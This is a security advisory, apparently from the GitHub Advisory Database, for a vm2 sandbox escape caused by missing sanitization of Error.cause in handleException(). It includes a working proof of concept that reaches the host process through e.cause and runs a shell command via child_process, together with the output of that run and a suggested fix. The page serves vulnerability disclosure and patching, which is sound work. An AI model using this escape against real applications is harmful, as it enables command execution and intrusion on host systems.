VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE
Affected: vm2 <= 3.11.3
CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-693 (Protection Mechanism Failure)
Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|---|---|
poc_error_cause_escape.js |
PoC demonstrating sandbox escape to RCE via unsanitized .cause |
| poc_error_cause_escape.js |
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.6 | 3.11.6 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-693- Platform
- npm
- Package
vm2- Disclosed
- 17.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m283-3h24-438v - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE this entry
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